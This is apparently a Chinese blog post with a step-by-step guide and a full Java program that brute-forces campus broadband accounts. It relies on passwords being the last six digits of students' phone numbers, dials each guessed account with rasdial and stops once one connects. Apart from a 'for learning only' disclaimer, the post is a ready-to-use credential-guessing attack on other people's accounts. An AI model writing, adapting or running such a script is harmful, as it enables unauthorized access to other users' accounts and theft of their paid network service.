前提:学校的手机号前7位相同,宽带密码都是手机号后六位。仅供学习!

准备工作:电脑一台,把校园网的宽带水晶头插在电脑上:

  1. win+R输入Rasphone
  2. 点击新建,宽带,输入宽带名称(要记住这个名字,最好是英文字母的组合,账号与密码不用填),创建。
  3. 执行下面的代码,把下面的手机号段前七位改为你要爆破的,youName改成你创建的宽带连接。
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;//暴力破解宽带
    public class Main {static String phoneFirst = "1322395";  //手机号的前七位static String yourName = "xin";        //你起的宽带连接名/*** 执行CMD命令,并返回String字符串*/public static String executeCmd(String strCmd) throws Exception {Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);StringBuilder sbCmd = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));String line;while ((line = br.readLine()) != null) {sbCmd.append(line + "\n");}return sbCmd.toString();}/*** ADSL连接宽带*/public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {System.out.println("正在建立连接.");String adslCmd = "rasdial " + adslTitle + " " + adslName + " " + adslPass;String tempCmd = executeCmd(adslCmd);// 判断是否连接成功if (tempCmd.indexOf("已连接") > 0) {System.out.println("已成功建立连接.");return true;} else {System.err.println(tempCmd);System.err.println("建立连接失败");return false;}}/*** 断开ADSL*/public static boolean cutAdsl(String adslTitle) throws Exception {String cutAdsl = "rasdial " + adslTitle + " /disconnect";String result = executeCmd(cutAdsl);if (result.indexOf("没有连接") != -1) {System.err.println(adslTitle + "连接不存在!");return false;} else {System.out.println("连接已断开");return true;}}/*** 测试网络是否连接*/public static boolean isConnect() {boolean connect = false;Runtime runtime = Runtime.getRuntime();Process process;try {process = runtime.exec("ping " + "www.baidu.com");InputStream is = process.getInputStream();InputStreamReader isr = new InputStreamReader(is);BufferedReader br = new BufferedReader(isr);String line = null;StringBuffer sb = new StringBuffer();while ((line = br.readLine()) != null) {sb.append(line);}System.out.println("返回值为:" + sb);is.close();isr.close();br.close();if (null != sb && !sb.toString().equals("")) {if (sb.toString().indexOf("TTL") > 0) {// 网络畅通connect = true;} else {// 网络不畅通connect = false;}}} catch (IOException e) {e.printStackTrace();}return connect;}//测试代码public static void main(String[] args) throws InterruptedException,Exception {for (int i = 0; i <= 9999; i++) {boolean connect = isConnect();String str = String.format("%04d", i);//获得长度为4的数字String username = phoneFirst + str;//宽带账号System.out.println("宽带账户:" + username);String password = username.substring(5);if (i % 3 == 0) {Thread.sleep(200);//防止拨号过于频繁}if (!connect) {//没有拨号成功,则取消上次拨号executeCmd("Rasdial " + yourName + " /DISCONNECT");System.out.println("无网络,正在重新拨号");connAdsl(yourName, username, password);//重新拨号} else {System.out.println("网络正常");//破解成功,后面的break会暂停。break;}}}
    }

 如果执行中途退出了,再次执行的时候一定要把你创建的宽带连接删除掉,从第一步开始重新来!

学习新知识,争做新青年相关推荐

  1. 第一性原理系列:创新是新知识的大规模交付

    资本主义引擎开动,世界因此不同.经济学家一直在解释这种变化,并形成理论.亚当斯密发现了看不见的手,李嘉图了发现比较优势,熊彼特发现了颠覆式创新. 熊彼特详细说明了定义企业家行为的五种创新类型: (1) ...

  2. 新工科的新视角:面向可持续竞争力的敏捷教学体系

    https://mp.weixin.qq.com/s/r3ZZvzILZGi637oASP387g 新工科的新视角:面向可持续竞争力的敏捷教学体系 原创: 徐晓飞 李廉 等 中国大学教学 今天 摘   ...

  3. 分享:个人是怎么学习新知识的

    为什么80%的码农都做不了架构师?>>>    挺多童鞋问我是怎么学习新知识的,干脆写篇文章总结一下,希望对大家有所帮助.对照书.技术博客.极客时间等学习的方式我就不说了. 一.早期 ...

  4. 知识图谱与深度学习(新时代·技术新未来)

    作者:刘知远,韩旭,孙茂松 出版社:清华大学出版社 品牌:清华大学出版社 出版时间:2020-05-01 知识图谱与深度学习(新时代·技术新未来)

  5. 分享:个人是怎么学习新知识的--周立

    本文转载,原文地址:     分享:个人是怎么学习新知识的 挺多童鞋问我是怎么学习新知识的,干脆写篇文章总结一下,希望对大家有所帮助.对照书.技术博客.极客时间等学习的方式我就不说了. 一.早期 在1 ...

  6. 写给大忙人的建议:如何优雅地速成代码?(教你如何在忙碌中学习新知识)

    目录 背景引入 如何学习 基础薄弱 有编程基础 结束语 背景引入 日常中,无论是忙碌的上班族还是正在学编程还在入门的学生,就都被日常的事情所挤压到不剩下自己的私人时间. 大学有完不成的课程设计.实训报 ...

  7. 不要用碎片化的时间去学习新知识!除非它是简单的

    不要用碎片化的时间去学习新知识! 不要用碎片化的时间去学习新知识! 不要用碎片化的时间去学习新知识! 重要的事情说三遍! 1.碎片化时间的陷阱 鼓吹用碎片化时间去学习的人,会告诉你:"我们一 ...

  8. 西蒙学习法 | 一张思维导图让你6个月学会一门新知识

    编辑by粢饭团 很多同学会在面对一门新知识时产生"学不会"的担忧,别怕!今天小编就用一张思维导图来介绍一种学习方法--西蒙学习法.西蒙学习法是世界五大学习方法之一,使用这个方法可以 ...

  9. 费曼学习法:快速掌握新知识!

    首先,讲一个关于学习法则的小故事. 马克思·普朗克在1918年荣获诺贝尔物理学奖之后,他就在全德国作巡回报告. 不管被邀请到哪里,他就会对新的量子力学演讲一番. 因此,慢慢他的司机也对他的报告烂熟于心 ...

  10. 程序员该如何学习新知识

    想必大家都不是张无忌,人家三十年才可以练成的乾坤大挪移,张无忌大侠两个时辰就可以搞定,作为一个普通的程序员,经常遇到很多新技术和新知识,it界就是这样,日新月异, 那么我们如何学习一门技术和新知识呢? ...

最新文章

  1. mysql和sqlserver共存_mysql 和sqlserver的 多行合并成一行
  2. 301重定向的好处:
  3. html盒子高度自动收缩,CSS如何解决背景图随父盒子高度变化而拉伸或收缩的问题...
  4. [裴礼文数学分析中的典型问题与方法习题参考解答]5.1.27
  5. 索引的使用—— 验证索引提升查询效率 || 避免索引失效 —— 全值匹配 /最左前缀法则/范围查询右边的列,不能使用索引/不要在索引列上进行运算操作/字符串不加单引号,造成索引失效
  6. PyYAML——yaml.load()警告【YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated】解决方案
  7. Java基础知识强化之网络编程笔记25:Android网络通信之 Future接口介绍(Java程序执行超时)...
  8. CentOS 6.5 安装配置Tomcat7服务器
  9. python类self_Python类中的self到底是干啥的
  10. activiti 设置可选处理人_新品速递|高端系列!慧明DF系列线性相位处理专业音箱处理器...
  11. HTML5 Video DOM 入门体验
  12. Choerodon 的微服务之路(二):Choerodon 的微服务网关
  13. Houdini技术体系大纲
  14. Android实现计算器布局(表格布局)
  15. 2020华为软件精英挑战赛热身赛总结篇
  16. dda算法_C和C ++中的DDA线图绘制算法
  17. GoldenGate Enterprise Manager Plug-In(12.1.0.3.0) 部署文档
  18. 一张让android死机图片,导致安卓手机死机的照片拍摄者表示这张照片是无意之举...
  19. windows 搜索文件内容 txt 、excel 、word、c、java 、压缩文件 等文件内容
  20. 电脑我的世界服务器怎么按键显示,我的世界功能按键大全 操作按键全介绍

热门文章

  1. 合伙人股权的进入和退出机制方案
  2. Jupyterlab常用快捷键
  3. 制造企业数字化转型的五点建议
  4. bupt数字电路综合实验——电子沙漏 verilogHDL 实现
  5. 找工作,除了海投简历和刷题,我还能做什么?
  6. 8种基本数据类型对应封装类
  7. C++ 类析构函数的显示调用和隐式调用
  8. 鲸探发布点评:7月11日发售说唱俑、金扣蚌壳羽觞
  9. 责怪用户、NSA、盗版、朝鲜?Wannacry勒索病毒这锅还得微软背
  10. 偶然发现一个好玩的东西